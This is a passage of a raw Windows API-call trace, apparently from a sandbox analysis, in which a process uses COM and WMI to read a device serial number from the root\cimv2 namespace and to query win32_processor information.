(This=0x86c358) returned 0x1 [0266.978] LoadRegTypeLib (in: rguid=0x721d364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x0, pptlib=0x54e6dc*=0x0 | out: pptlib=0x54e6dc*=0x86a8d8) returned 0x0 [0266.979] ITypeLib:GetTypeInfoOfGuid (in: This=0x86a8d8, GUID=0x4ea0888*(Data1=0x4b83d61, Data2=0x21ae, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x33, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), ppTInfo=0x4ea0870 | out: ppTInfo=0x4ea0870*=0x86c460) returned 0x0 [0266.979] IUnknown:Release (This=0x86a8d8) returned 0x3 [0266.979] IUnknown:AddRef (This=0x86c460) returned 0x2 [0266.980] ITypeInfo:RemoteGetTypeAttr (in: This=0x86c460, ppTypeAttr=0x54e70c, pDummy=0xc2320fc0 | out: ppTypeAttr=0x54e70c, pDummy=0xc2320fc0) returned 0x0 [0266.981] ITypeInfo:LocalReleaseTypeAttr (This=0x86c460) returned 0x831650 [0266.981] IUnknown:Release (This=0x86c460) returned 0x1 [0266.981] CoGetContextToken (in: pToken=0x54e260 | out: pToken=0x54e260) returned 0x0 [0266.981] CoGetContextToken (in: pToken=0x54e674 | out: pToken=0x54e674) returned 0x0 [0266.982] CoGetContextToken (in: pToken=0x54f25c | out: pToken=0x54f25c) returned 0x0 [0266.982] CoGetContextToken (in: pToken=0x54f1bc | out: pToken=0x54f1bc) returned 0x0 [0266.983] CoGetContextToken (in: pToken=0x54f1dc | out: pToken=0x54f1dc) returned 0x0 [0266.983] LoadRegTypeLib (in: rguid=0x721d364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x400, pptlib=0x54f1f0*=0x0 | out: pptlib=0x54f1f0*=0x86a8d8) returned 0x0 [0266.985] ITypeLib:GetTypeInfoOfGuid (in: This=0x86a8d8, GUID=0x4ea0878*(Data1=0x76a6415f, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), ppTInfo=0x4ea086c | out: ppTInfo=0x4ea086c*=0x86c408) returned 0x0 [0266.985] IUnknown:Release (This=0x86a8d8) returned 0x4 [0266.985] IUnknown:AddRef (This=0x86c408) returned 0x2 [0266.985] ITypeInfo:LocalInvoke (This=0x86c408) returned 0x0 [0266.985] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0266.985] GetCurrentThreadId () returned 0xe44 [0266.985] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea0810 [0266.985] IUnknown:Release (This=0x86c408) returned 0x1 [0266.985] ?WbemMemFree@CWin32DefaultArena@@SAHPAX@Z () returned 0x1 [0267.420] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x83ccf8 [0267.422] LocalAlloc (uFlags=0x0, uBytes=0x80) returned 0x83cd80 [0267.432] CoGetContextToken (in: pToken=0x54ef24 | out: pToken=0x54ef24) returned 0x0 [0267.434] CoGetContextToken (in: pToken=0x54ea3c | out: pToken=0x54ea3c) returned 0x0 [0267.434] IUnknown:AddRef (This=0x86c408) returned 0x2 [0267.434] ITypeInfo:LocalInvoke (This=0x86c408) returned 0x0 [0267.434] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0267.434] GetCurrentThreadId () returned 0xe44 [0267.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0267.435] GetCurrentThreadId () returned 0xe44 [0267.435] IUnknown:AddRef (This=0x86d100) returned 0x3 [0267.435] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0267.435] GetCurrentThreadId () returned 0xe44 [0267.435] IEnumWbemClassObject:Clone (in: This=0x86d100, ppEnum=0x54ec90 | out: ppEnum=0x54ec90*=0x86d1c8) returned 0x0 [0267.610] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea0cb0 [0267.610] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea0d10 [0267.610] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea0d70 [0267.610] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea0990 [0267.611] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea0dd0 [0267.611] IUnknown:QueryInterface (in: This=0x86d1c8, riid=0x721d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54eba8 | out: ppvObject=0x54eba8*=0x86d1cc) returned 0x0 [0267.611] IClientSecurity:QueryBlanket (in: This=0x86d1cc, pProxy=0x86d1c8, pAuthnSvc=0x54eb98, pAuthzSvc=0x54eb9c, pServerPrincName=0x0, pAuthnLevel=0x54ebc4, pImpLevel=0x54ebc0, pAuthInfo=0x0, pCapabilites=0x54ebb0 | out: pAuthnSvc=0x54eb98*=0xa, pAuthzSvc=0x54eb9c*=0x0, pServerPrincName=0x0, pAuthnLevel=0x54ebc4*=0x6, pImpLevel=0x54ebc0*=0x2, pAuthInfo=0x0, pCapabilites=0x54ebb0*=0x1) returned 0x0 [0267.611] IUnknown:Release (This=0x86d1cc) returned 0x1 [0267.611] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0267.611] GetCurrentThreadId () returned 0xe44 [0267.611] IUnknown:QueryInterface (in: This=0x86d100, riid=0x721d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54eb8c | out: ppvObject=0x54eb8c*=0x86d104) returned 0x0 [0267.611] IClientSecurity:QueryBlanket (in: This=0x86d104, pProxy=0x86d100, pAuthnSvc=0x54eb7c, pAuthzSvc=0x54eb80, pServerPrincName=0x0, pAuthnLevel=0x54ebac, pImpLevel=0x54ebb0, pAuthInfo=0x0, pCapabilites=0x54eb94 | out: pAuthnSvc=0x54eb7c*=0xa, pAuthzSvc=0x54eb80*=0x0, pServerPrincName=0x0, pAuthnLevel=0x54ebac*=0x6, pImpLevel=0x54ebb0*=0x3, pAuthInfo=0x0, pCapabilites=0x54eb94*=0x20) returned 0x0 [0267.611] IUnknown:Release (This=0x86d104) returned 0x3 [0267.611] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0267.611] GetCurrentThreadId () returned 0xe44 [0267.611] IUnknown:QueryInterface (in: This=0x86d100, riid=0x721d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54eb8c | out: ppvObject=0x54eb8c*=0x86d104) returned 0x0 [0267.611] IClientSecurity:QueryBlanket (in: This=0x86d104, pProxy=0x86d100, pAuthnSvc=0x54eb7c, pAuthzSvc=0x54eb80, pServerPrincName=0x0, pAuthnLevel=0x54ebb0, pImpLevel=0x54ebac, pAuthInfo=0x0, pCapabilites=0x54eb94 | out: pAuthnSvc=0x54eb7c*=0xa, pAuthzSvc=0x54eb80*=0x0, pServerPrincName=0x0, pAuthnLevel=0x54ebb0*=0x6, pImpLevel=0x54ebac*=0x3, pAuthInfo=0x0, pCapabilites=0x54eb94*=0x20) returned 0x0 [0267.611] IUnknown:Release (This=0x86d104) returned 0x3 [0267.611] IUnknown:QueryInterface (in: This=0x86d1c8, riid=0x721d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54ebd8 | out: ppvObject=0x54ebd8*=0x86d1cc) returned 0x0 [0267.611] IClientSecurity:CopyProxy (in: This=0x86d1cc, pProxy=0x86d1c8, ppCopy=0x54ebdc | out: ppCopy=0x54ebdc*=0x86d290) returned 0x0 [0267.611] IUnknown:QueryInterface (in: This=0x86d290, riid=0x721d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54eaf4 | out: ppvObject=0x54eaf4*=0x86d294) returned 0x0 [0267.612] IClientSecurity:QueryBlanket (in: This=0x86d294, pProxy=0x86d290, pAuthnSvc=0x54eb18, pAuthzSvc=0x54eb08, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0 | out: pAuthnSvc=0x54eb18*=0xa, pAuthzSvc=0x54eb08*=0x0, pServerPrincName=0x0, pAuthnLevel=0x0, pImpLevel=0x0, pAuthInfo=0x0, pCapabilites=0x0) returned 0x0 [0267.612] IUnknown:Release (This=0x86d294) returned 0x3 [0267.612] IUnknown:QueryInterface (in: This=0x86d290, riid=0x721d34f0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54eacc | out: ppvObject=0x54eacc*=0x823404) returned 0x0 [0267.612] IUnknown:QueryInterface (in: This=0x86d290, riid=0x721d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54ead0 | out: ppvObject=0x54ead0*=0x86d294) returned 0x0 [0267.612] IClientSecurity:SetBlanket (This=0x86d294, pProxy=0x86d290, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0267.777] IUnknown:Release (This=0x86d294) returned 0x4 [0267.777] WbemLocator:IUnknown:Release (This=0x823404) returned 0x3 [0267.777] IUnknown:Release (This=0x86d1cc) returned 0x2 [0267.777] IUnknown:AddRef (This=0x86d290) returned 0x3 [0267.777] IUnknown:Release (This=0x86d1c8) returned 0x2 [0267.777] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x54ec48 | out: pperrinfo=0x54ec48*=0x0) returned 0x1 [0267.777] IUnknown:Release (This=0x86d100) returned 0x2 [0267.777] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0267.777] GetCurrentThreadId () returned 0xe44 [0267.778] IUnknown:AddRef (This=0x86d290) returned 0x3 [0267.778] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0267.778] GetCurrentThreadId () returned 0xe44 [0267.778] IEnumWbemClassObject:Reset (This=0x86d290) returned 0x0 [0267.819] IUnknown:Release (This=0x86d290) returned 0x2 [0267.819] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea0810 [0267.819] IUnknown:Release (This=0x86c408) returned 0x1 [0267.820] CoGetContextToken (in: pToken=0x54e208 | out: pToken=0x54e208) returned 0x0 [0267.820] CoGetContextToken (in: pToken=0x54e61c | out: pToken=0x54e61c) returned 0x0 [0267.827] CoGetContextToken (in: pToken=0x54effc | out: pToken=0x54effc) returned 0x0 [0267.827] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0267.827] GetCurrentThreadId () returned 0xe44 [0267.827] IUnknown:AddRef (This=0x86d290) returned 0x3 [0267.827] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0267.827] GetCurrentThreadId () returned 0xe44 [0267.828] IEnumWbemClassObject:Next (in: This=0x86d290, lTimeout=-1, uCount=0x1, apObjects=0x54f380, puReturned=0x54f378 | out: apObjects=0x54f380*=0x872ae8, puReturned=0x54f378*=0x1) returned 0x0 [0267.882] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea0e88 [0267.882] IUnknown:AddRef (This=0x872ae8) returned 0x2 [0267.882] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea0ed0 [0267.883] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea0f40 [0267.883] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea0fa0 [0267.883] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea09b0 [0267.883] WbemLocator:IUnknown:AddRef (This=0x8166b8) returned 0x3 [0267.883] IUnknown:AddRef (This=0x86d290) returned 0x4 [0267.883] IUnknown:QueryInterface (in: This=0x86d290, riid=0x721d31fc*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x54f2e0 | out: ppvObject=0x54f2e0*=0x86d294) returned 0x0 [0267.883] IClientSecurity:QueryBlanket (in: This=0x86d294, pProxy=0x86d290, pAuthnSvc=0x54f2d0, pAuthzSvc=0x54f2d4, pServerPrincName=0x0, pAuthnLevel=0x54f2f0, pImpLevel=0x54f2fc, pAuthInfo=0x0, pCapabilites=0x54f2e8 | out: pAuthnSvc=0x54f2d0*=0xa, pAuthzSvc=0x54f2d4*=0x0, pServerPrincName=0x0, pAuthnLevel=0x54f2f0*=0x6, pImpLevel=0x54f2fc*=0x3, pAuthInfo=0x0, pCapabilites=0x54f2e8*=0x20) returned 0x0 [0267.883] IUnknown:Release (This=0x86d294) returned 0x4 [0267.883] WbemLocator:IUnknown:Release (This=0x8166b8) returned 0x2 [0267.883] WbemLocator:IUnknown:AddRef (This=0x8166b8) returned 0x3 [0267.884] IUnknown:Release (This=0x86d290) returned 0x3 [0267.884] SysStringLen (param_1="\\\\.\\root\\cimv2") returned 0xe [0267.884] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea1000 [0267.884] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea1030 [0267.884] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea1050 [0267.884] IUnknown:AddRef (This=0x872ae8) returned 0x3 [0267.884] IUnknown:Release (This=0x872ae8) returned 0x2 [0267.884] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x54f334 | out: pperrinfo=0x54f334*=0x0) returned 0x1 [0267.884] IUnknown:Release (This=0x86d290) returned 0x2 [0267.884] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x54f378 | out: pperrinfo=0x54f378*=0x0) returned 0x1 [0267.886] LoadRegTypeLib (in: rguid=0x721d364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x0, pptlib=0x54eb44*=0x0 | out: pptlib=0x54eb44*=0x86a8d8) returned 0x0 [0267.887] ITypeLib:GetTypeInfoOfGuid (in: This=0x86a8d8, GUID=0x721e70c4*(Data1=0xd6bdafb2, Data2=0x9435, Data3=0x491f, Data4=([0]=0xbb, [1]=0x87, [2]=0x6a, [3]=0xa0, [4]=0xf0, [5]=0xbc, [6]=0x31, [7]=0xa2)), ppTInfo=0x4ea101c | out: ppTInfo=0x4ea101c*=0x86c48c) returned 0x0 [0267.887] IUnknown:Release (This=0x86a8d8) returned 0x5 [0267.887] IUnknown:AddRef (This=0x86c48c) returned 0x2 [0267.887] ITypeInfo:RemoteGetTypeAttr (in: This=0x86c48c, ppTypeAttr=0x54eb84, pDummy=0xc2320358 | out: ppTypeAttr=0x54eb84, pDummy=0xc2320358) returned 0x0 [0267.888] ITypeInfo:LocalReleaseTypeAttr (This=0x86c48c) returned 0x831650 [0267.888] IUnknown:Release (This=0x86c48c) returned 0x1 [0267.889] CoGetContextToken (in: pToken=0x54e6d8 | out: pToken=0x54e6d8) returned 0x0 [0267.889] CoGetContextToken (in: pToken=0x54eaec | out: pToken=0x54eaec) returned 0x0 [0267.892] CoGetContextToken (in: pToken=0x54eea4 | out: pToken=0x54eea4) returned 0x0 [0267.892] LoadRegTypeLib (in: rguid=0x721d364c*(Data1=0x565783c6, Data2=0xcb41, Data3=0x11d1, Data4=([0]=0x8b, [1]=0x2, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0x6, [6]=0xd9, [7]=0xb6)), wVerMajor=0x1, wVerMinor=0x0, lcid=0x409, pptlib=0x54ee98*=0x0 | out: pptlib=0x54ee98*=0x86a8d8) returned 0x0 [0267.893] ITypeLib:GetTypeInfoOfGuid (in: This=0x86a8d8, GUID=0x721d55e4*(Data1=0x269ad56a, Data2=0x8a67, Data3=0x4129, Data4=([0]=0xbc, [1]=0x8c, [2]=0x5, [3]=0x6, [4]=0xdc, [5]=0xfe, [6]=0x98, [7]=0x80)), ppTInfo=0x4ea1018 | out: ppTInfo=0x4ea1018*=0x86c4b8) returned 0x0 [0267.893] IUnknown:Release (This=0x86a8d8) returned 0x6 [0267.893] IUnknown:AddRef (This=0x86c4b8) returned 0x2 [0267.893] DispGetIDsOfNames (in: ptinfo=0x86c4b8, rgszNames=0x54ef10*="SerialNumber", cNames=0x1, rgdispid=0x54ef00 | out: rgdispid=0x54ef00*=-1) returned 0x80020006 [0267.952] IUnknown:AddRef (This=0x872ae8) returned 0x3 [0267.952] IWbemClassObject:Get (in: This=0x872ae8, wszName="SerialNumber", lFlags=0, pVal=0x0, pType=0x0, plFlavor=0x54ee20*=0 | out: pVal=0x0, pType=0x0, plFlavor=0x54ee20*=0) returned 0x0 [0267.952] IUnknown:Release (This=0x872ae8) returned 0x2 [0267.952] SysStringLen (param_1="SerialNumber") returned 0xc [0267.952] ?WbemMemAlloc@CWin32DefaultArena@@SAPAXK@Z () returned 0x4ea1078 [0267.952] SysStringLen (param_1="SerialNumber") returned 0xc [0267.952] IUnknown:Release (This=0x86c4b8) returned 0x1 [0267.952] IUnknown:AddRef (This=0x86c4b8) returned 0x2 [0267.952] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0267.952] GetCurrentThreadId () returned 0xe44 [0267.953] SysStringLen (param_1="SerialNumber") returned 0xc [0267.953] IWbemClassObject:Get (in: This=0x872ae8, wszName="SerialNumber", lFlags=0, pVal=0x54eca0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x54ecd8, varVal2=0x721d2d81), pType=0x54ecb0*=1914514822, plFlavor=0x0 | out: pVal=0x54eca0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="..CN747510BO0504.", varVal2=0x721d2d81), pType=0x54ecb0*=8, plFlavor=0x0) returned 0x0 [0267.953] IUnknown:Release (This=0x86c4b8) returned 0x1 [0267.954] SysStringByteLen (bstr="..CN747510BO0504.") returned 0x22 [0267.954] SysStringByteLen (bstr="..CN747510BO0504.") returned 0x22 [0267.984] CoGetContextToken (in: pToken=0x54effc | out: pToken=0x54effc) returned 0x0 [0267.985] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0267.985] GetCurrentThreadId () returned 0xe44 [0267.985] IUnknown:AddRef (This=0x86d290) returned 0x3 [0267.985] SetErrorInfo (dwReserved=0x0, perrinfo=0x0) returned 0x0 [0267.985] GetCurrentThreadId () returned 0xe44 [0267.985] IEnumWbemClassObject:Next (in: This=0x86d290, lTimeout=-1, uCount=0x1, apObjects=0x54f380, puReturned=0x54f378 | out: apObjects=0x54f380*=0x0, puReturned=0x54f378*=0x0) returned 0x1 [0267.990] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x54f334 | out: pperrinfo=0x54f334*=0x0) returned 0x1 [0267.991] IUnknown:Release (This=0x86d290) returned 0x2 [0267.991] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x54f378 | out: pperrinfo=0x54f378*=0x0) returned 0x1 [0268.127] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2c0 [0268.128] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2c4 [0268.144] SetEvent (hEvent=0x2c4) returned 1 [0268.175] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x54f368*=0x2c0, lpdwindex=0x54f18c | out: lpdwindex=0x54f18c) returned 0x0 [0268.175] CoGetContextToken (in: pToken=0x54f23c | out: pToken=0x54f23c) returned 0x0 [0268.175] CoGetContextToken (in: pToken=0x54f19c | out: pToken=0x54f19c) returned 0x0 [0268.175] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c000, riid=0x54f26c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x54f268 | out: ppvObject=0x54f268*=0x84c000) returned 0x0 [0268.175] WbemDefPath:IUnknown:AddRef (This=0x84c000) returned 0x3 [0268.175] WbemDefPath:IUnknown:Release (This=0x84c000) returned 0x2 [0268.177] WbemDefPath:IWbemPath:SetText (This=0x84c000, uMode=0x4, pszPath="win32_processor") returned 0x0 [0268.178] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c000, puCount=0x54f3e8 | out: puCount=0x54f3e8*=0x0) returned 0x0 [0268.178] WbemDefPath:IWbemPath:GetText (in: This=0x84c000, lFlags=2, puBuffLength=0x54f3e4*=0x0, pszText=0x0 | out: puBuffLength=0x54f3e4*=0x10, pszText=0x0) returned 0x0 [0268.178] WbemDefPath:IWbemPath:GetText (in: This=0x84c000, lFlags=2, puBuffLength=0x54f3e4*=0x10, pszText="000000000000000" | out: puBuffLength=0x54f3e4*=0x10, pszText="win32_processor") returned 0x0 [0268.179] WbemDefPath:IWbemPath:GetInfo (in: This=0x84c000, uRequestedInfo=0x0, puResponse=0x54f3f0 | out: puResponse=0x54f3f0*=0xc15) returned 0x0 [0268.179] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c000, puCount=0x54f3e8 | out: puCount=0x54f3e8*=0x0) returned 0x0 [0268.179] WbemDefPath:IWbemPath:GetInfo (in: This=0x84c000, uRequestedInfo=0x0, puResponse=0x54f3f0 | out: puResponse=0x54f3f0*=0xc15) returned 0x0 [0268.179] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c000, puCount=0x54f3d8 | out: puCount=0x54f3d8*=0x0) returned 0x0 [0268.179] WbemDefPath:IWbemPath:GetText (in: This=0x84c000, lFlags=2, puBuffLength=0x54f3d4*=0x0, pszText=0x0 | out: puBuffLength=0x54f3d4*=0x10, pszText=0x0) returned 0x0 [0268.179] WbemDefPath:IWbemPath:GetText (in: This=0x84c000, lFlags=2, puBuffLength=0x54f3d4*=0x10, pszText="000000000000000" | out: puBuffLength=0x54f3d4*=0x10, pszText="win32_processor") returned 0x0 [0268.180] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c000, puCount=0x54f3d8 | out: puCount=0x54f3d8*=0x0) returned 0x0 [0268.180] WbemDefPath:IWbemPath:GetText (in: This=0x84c000, lFlags=2, puBuffLength=0x54f3d4*=0x0, pszText=0x0 | out: puBuffLength=0x54f3d4*=0x10, pszText=0x0) returned 0x0 [0268.180] WbemDefPath:IWbemPath:GetText (in: This=0x84c000, lFlags=2, puBuffLength=0x54f3d4*=0x10, pszText="000000000000000" | out: puBuffLength=0x54f3d4*=0x10, pszText="win32_processor") returned 0x0 [0268.180] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c000, puCount=0x54f368 | out: puCount=0x54f368*=0x0) returned 0x0 [0268.180] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2f4 [0268.181] SetEvent (hEvent=0x2c4) returned 1 [0268.181] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x54ebc4*=0x2f4, lpdwindex=0x54e9e8 | out: lpdwindex=0x54e9e8) returned 0x0 [0268.202] CoGetContextToken (in: pToken=0x54ea9c | out: pToken=0x54ea9c) returned 0x0 [0268.202] CoGetContextToken (in: pToken=0x54e9fc | out: pToken=0x54e9fc) returned 0x0 [0268.202] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c070, riid=0x54eacc*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x54eac8 | out: ppvObject=0x54eac8*=0x84c070) returned 0x0 [0268.203] WbemDefPath:IUnknown:AddRef (This=0x84c070) returned 0x3 [0268.203] WbemDefPath:IUnknown:Release (This=0x84c070) returned 0x2 [0268.203] WbemDefPath:IWbemPath:SetText (This=0x84c070, uMode=0x4, pszPath="//./root/cimv2") returned 0x0 [0268.203] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c070, puCount=0x54f354 | out: puCount=0x54f354*=0x2) returned 0x0 [0268.203] WbemDefPath:IWbemPath:GetText (in: This=0x84c070, lFlags=4, puBuffLength=0x54f350*=0x0, pszText=0x0 | out: puBuffLength=0x54f350*=0xf, pszText=0x0) returned 0x0 [0268.203] WbemDefPath:IWbemPath:GetText (in: This=0x84c070, lFlags=4, puBuffLength=0x54f350*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f350*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0268.203] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x2f8 [0268.203] SetEvent (hEvent=0x2c4) returned 1 [0268.203] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x54f2b0*=0x2f8, lpdwindex=0x54f0d4 | out: lpdwindex=0x54f0d4) returned 0x0 [0268.206] CoGetContextToken (in: pToken=0x54f184 | out: pToken=0x54f184) returned 0x0 [0268.206] CoGetContextToken (in: pToken=0x54f0e4 | out: pToken=0x54f0e4) returned 0x0 [0268.206] WbemDefPath:IUnknown:QueryInterface (in: This=0x84c0e0, riid=0x54f1b4*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x54f1b0 | out: ppvObject=0x54f1b0*=0x84c0e0) returned 0x0 [0268.206] WbemDefPath:IUnknown:AddRef (This=0x84c0e0) returned 0x3 [0268.206] WbemDefPath:IUnknown:Release (This=0x84c0e0) returned 0x2 [0268.206] WbemDefPath:IWbemPath:SetText (This=0x84c0e0, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0268.207] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c0e0, puCount=0x54f32c | out: puCount=0x54f32c*=0x2) returned 0x0 [0268.207] WbemDefPath:IWbemPath:GetText (in: This=0x84c0e0, lFlags=4, puBuffLength=0x54f328*=0x0, pszText=0x0 | out: puBuffLength=0x54f328*=0xf, pszText=0x0) returned 0x0 [0268.207] WbemDefPath:IWbemPath:GetText (in: This=0x84c0e0, lFlags=4, puBuffLength=0x54f328*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f328*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0268.222] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x54f24c*=0x30c, lpdwindex=0x54f104 | out: lpdwindex=0x54f104) returned 0x0 [0268.913] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x84c0e0, puCount=0x54f350 | out: puCount=0x54f350*=0x2) returned 0x0 [0268.913] WbemDefPath:IWbemPath:GetText (in: This=0x84c0e0, lFlags=4, puBuffLength=0x54f34c*=0x0, pszText=0x0 | out: puBuffLength=0x54f34c*=0xf, pszText=0x0) returned 0x0 [0268.913] WbemDefPath:IWbemPath:GetText (in: This=0x84c0e0, lFlags=4, puBuffLength=0x54f34c*=0xf, pszText="00000000000000" | out: puBuffLength=0x54f34c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0268.913] WbemDefPath:IWbemPath:GetText (in: This=0x84c000, lFlags=2, puBuffLength=0x54f354*=0x0, pszText=0x0 | out: puBuffLength=0x54f354*=0x10, pszText=0x0) returned 0x0 [0268.913] WbemDefPath:IWbemPath:GetText (in: This=0x84c000, lFlags=2, puBuffLength=0x54f354*=0x10, pszText="000000000000000" | out: puBuffLength=0x54f354*=0x10, pszText="win32_processor") returned 0x0 [0268.916] CoGetContextToken (in: pToken=0x54f0f4 | out: pToken=0x54f0f4) returned 0x0 [0268.916] CoGetContextToken (in: pToken=0x54f054 | out: pToken=0x54f054) returned 0x0 [0268.916] CoGetContextToken (in: pToken=0x54f054 | out: pToken=0x54f054) returned 0x0 